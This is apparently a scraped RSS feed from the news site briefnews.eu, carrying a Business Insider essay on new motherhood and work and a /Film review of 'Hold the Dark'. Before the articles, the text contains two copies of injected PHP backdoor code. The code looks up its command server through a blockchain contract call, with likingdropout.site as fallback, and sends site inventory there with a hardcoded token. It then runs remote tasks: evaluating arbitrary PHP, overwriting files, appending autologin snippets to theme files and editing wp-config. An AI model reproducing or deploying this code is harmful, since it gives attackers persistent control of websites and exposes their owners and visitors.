// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘Existential – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 18 Sep 2022 10:06:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘Existential – Brief News https://briefnews.eu 32 32 I spent years writing about women at work. Then I had a baby — and an existential crisis. https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/#respond Sun, 18 Sep 2022 10:06:31 +0000 https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.
Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.

AE Pictures Inc./Getty Images

  • I'm a careers-and-leadership reporter and I often write about women's experiences at work.
  • When I had a baby, I thought I'd be prepared for the transition to working parenthood. I wasn't.
  • It's challenging to reconcile my personal and professional identities, and I often feel I'm failing.

My husband and I were having a late dinner on our front patio, huddled over a staticky baby monitor, when I told him I wasn't sure about going back to work.

Our son was two months old. That meant it had been roughly a year — if you count a nearly 10-month-long pregnancy — since I'd been truly alone.

The baby and I spent the whole day, every day, together. I would nurse him for what seemed like hours, then he'd fall asleep and I'd hold him because he'd scream when I tried transferring him to his Mamaroo chair. At night, I'd hear him fussing on the monitor and half-consciously reach for him next to me, then panic when I couldn't feel him anywhere until I remembered he was in his bassinet.

In July, I was due to return to work after a four-month maternity leave. Because my job allowed for remote work, I'd arranged for a nanny who had worked for a family friend to watch my son during the day. But I didn't see how I'd be able to let someone else take care of him for that many hours at a time. 

Friends who had toddler-aged kids had told me I'd feel differently by the end of my leave, that I'd be more ready to start working again and to spend time away from the baby. Instead, I told my husband that night on the patio that I was rethinking my decision to start working again.

My husband reminded me of what I'd told him — many times — in the years before we had a kid. I wasn't planning to be a stay-at-home mom; I wanted to keep working. I was afraid to have motherhood subsume my identity. But it had taken four months of maternity leave to undo everything I thought I knew about myself as a professional.

"Now I feel differently," I told my husband. I wanted to be the one to attend to our son's cries, to take him to the park, to sing silly songs while he squirmed on the changing table. I couldn't do any of that, I told my husband, if I had another — paying — job.

The logistical challenges of working parenthood are only the beginning

Early on in the pandemic, I wrote regularly about the challenges of being a working parent, and in particular a working mother. I knew, based on talking with parents and experts, that it could be hard to balance the demands of your job with your kid's daycare schedule and that managers are often biased to see women as less promotable and less dedicated to their careers once they have children.

While writing a book about molding your work life to suit your interests and lifestyle, I spoke with many people about how becoming a parent had changed their approaches to work. Some stuck with a bad job because it paid their family's bills or tried to change careers because having a kid made them want to pursue something more impactful.

So when my husband and I decided to start a family, I assumed that all this knowledge would prepare me for the transition. But I didn't realize that beyond the logistical challenges, there was existential torture. I'm now trying to become the parent I think my kid needs while, at the same time, trying to squeeze myself back into the shape of the professional I think my colleagues are expecting me to be.

I feel like an impostor professional — and parent

When I returned to work, taking my therapist's suggestion to give it a chance, the transition was in many ways smoother than I'd anticipated. My managers gave me time to settle into my new work and home lives before I started publishing anything new. My coworkers asked excitedly about the baby's latest developmental milestones.

Still, I felt a nagging shadow of impostor syndrome, except instead of feeling like I was a fraud at my job, I worried that I'd eventually be exposed as — what? A mom who was relieved to do a few hours of knowledge work because it meant a reprieve from lifting and bouncing and picking up fallen toys with her toes? A professional who sometimes felt like she'd rather be hugging her kid than answering emails? Much of my transition to working parenthood has been like this, an ongoing experiment in self-flagellation and feeling alone.

I'm writing now from the pull-out couch in my son's room, the one on which I've often fallen asleep murmuring "shhh" at 3 a.m. I can hear my son playing happily downstairs with our doting nanny. I feel patently ridiculous sitting up here writing about how hard I find working motherhood when I have the extreme privilege of full-time childcare, a spacious home, and family nearby — as well as a job that allows me to work slumped over a pillow in ripped leggings.

I'm ashamed, too, that the trouble is solely with me. For all the time I spend questioning whether this setup — me working from home, my husband working from the office, a nanny taking care of our son for part of the day — is the best for our family, my son appears perfectly content most of the time. Not to mention that even if staying home would assuage some of my guilt, giving up my full-time salary would make it harder for me to offer my son all the opportunities I'd like to. 

This self-deprecating cycle has slowed, but hasn't stopped over the last two months I've been back at work. I find the only respite in doing whatever I'm supposed to be doing at the moment: reporting a story, responding to Slacks, feeding my son, laundering a load of onesies, knowing that eventually my thoughts will catch up with me, but that right now I'm OK.

Lying in front of the TV after my son has gone to bed, I text with girlfriends. I vent, I complain. I learn that my experience is not uncommon. "It gets easier," one tells me. "I promise." I'm not sure I believe her. But I've got a story to write and bottles to wash and, somewhere, the wisdom to know that as far as I may feel from whoever I was before, I am not alone.

Read the original article on Business Insider

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]]> https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/feed/ 0 ‘Hold the Dark’ Review: Jeremy Saulnier Delivers an Icy Cold Work of Existential Dread [TIFF] https://briefnews.eu/hold-the-dark-review-jeremy-saulnier-delivers-an-icy-cold-work-of-existential-dread-tiff/ https://briefnews.eu/hold-the-dark-review-jeremy-saulnier-delivers-an-icy-cold-work-of-existential-dread-tiff/#respond Thu, 13 Sep 2018 05:15:39 +0000 http://briefnews.eu/hold-the-dark-review-jeremy-saulnier-delivers-an-icy-cold-work-of-existential-dread-tiff/ hold the dark review

With Hold the Dark, Green Room director Jeremy Saulnier crafts a bleak, unforgiving film with an ever-increasing body count. Shot through with menace and unapologetically nasty, Hold the Dark is bound to horrify some viewers to the point of disengagement.

Call it No Country for Cold Men. Jeremy Saulnier’s Hold the Dark is a chilly, unsettling a film loaded with death and dread. Like a Cormac McCarthy novel spliced with Joe Carnahan’s The Grey, Hold the Dark is a story about quiet people engaged in terrible, violent deeds while pushing up against the harsh elements. It’s one of the most unpleasant films you’ll see all year. It’s also a must-see.

A mostly faithful adaptation of the novel by William Giraldi, Hold the Dark begins with an invitation to the end of the world. Wolf expert Russell Core (a wonderfully weary Jefferey Wright) is summoned to an extremely remote Alaskan village by Medora Sloane (Riley Keough). Medora’s child Bailey has been snatched up by wolves from the mountains, and she wants Core to hunt and kill the wolf before her husband, Vernon (Alexander Skarsgård), returns home from the war. Core agrees, although he has a respect for wolves that makes him averse to killing them.

Core finds Alaska to be a hostile place. The snow-smothered landscape is hard to survive, and Medora seems to have been driven mad by all that wintry darkness long before her son disappeared. She’s a strange, enigmatic woman with a flat, monotone voice, and while her behavior could easily be chalked up to grief, there’s something else going on here. Something’s very, very wrong, and as the impenetrable night descends, Core finds himself perplexed at what he’s witnessing.

The next day, he heads out into the mountains looking for wolves. When he returns to her home, Medora has vanished – setting off a chain of events that racks up an alarming body count. Vernon returns from the dry hot desert to the frigid Alaskan landscape, and, overcome by grief for his son, sets off on an extremely bloody path.

Hold the Dark has more tricks up its sleeve, but to reveal them here would do the film a disservice. The twists aren’t what makes the film special, however. Instead, it’s Saulnier’s commitment to unflinching, unrelenting darkness. Evil courses through this film – an unnamable, unstoppable evil without a face or form. As Hold the Dark unfolds, Saulnier and screenwriter Macon Blair – who appeared in Saulnier’s Blue Ruin and Green Room, and has a part here as well – craft intertwining narratives. One is focused on Core as he tries to make sense of the non-stop violence he finds himself thrust into. The other is devoted to Vernon as he stalks across the landscape, staining the snow red with his actions.

While not as immediately magnetic as Saulnier’s Blue Ruin and Green Room, Hold the Dark is another attention-grabbing entry in the filmmaker’s dark and twisted oeuvre. Like Green Room, Hold the Dark isn’t classified as a horror film, but there’s horror running all through this thing. A ominous, dreadful atmosphere pervades; the unshakable sense that the world the characters inhabit has gone mad and blood hungry. The icy atmosphere seeps into your bones, chilling you to the core.

It doesn’t all entirely click, though. Some of the dialogue – which works so well in the novel – comes across as flat and rushed here, and in some cases, inaudible. Lines that should have a profound impact go by the wayside as they’re mumbled out of certain actor’s mouths. Hold the Dark is also so unrelentingly frosty that it may turn some audiences off completely – there’s nothing warm here to grab hold to; it is an almost entirely hopeless movie, in every sense of the word.

Wright anchors it all as the perpetually tired Core – a man who relates more to wild animals than he does human beings. Skarsgård is suitably imposing as the revenge-driven Vernon, towering over most of the cast and fixing an intense stare at everyone and everything in his path. James Badge Dale makes an impression as well as the local lawman who wants to avoid bloodshed, but can’t.

Saulnier and Blair are committed to keeping Hold the Dark inscrutable. There are no easy answers here, or really answers at all, and yet that works in the film’s favor. The unknowability of all this death serves to make the movie all the more unsettling. The god of this movie is a cold, indifferent one – a being content to sit back and let humanity be thrown to the wolves. As Hold the Dark draws to a disturbing conclusion, the tiniest shimmer of light begins to creep in. But you won’t find comfort there. Instead, you’ll tense up, wondering how soon that light will be completely snuffed out.

/Film rating: 8 out of 10

The post ‘Hold the Dark’ Review: Jeremy Saulnier Delivers an Icy Cold Work of Existential Dread [TIFF] appeared first on /Film.

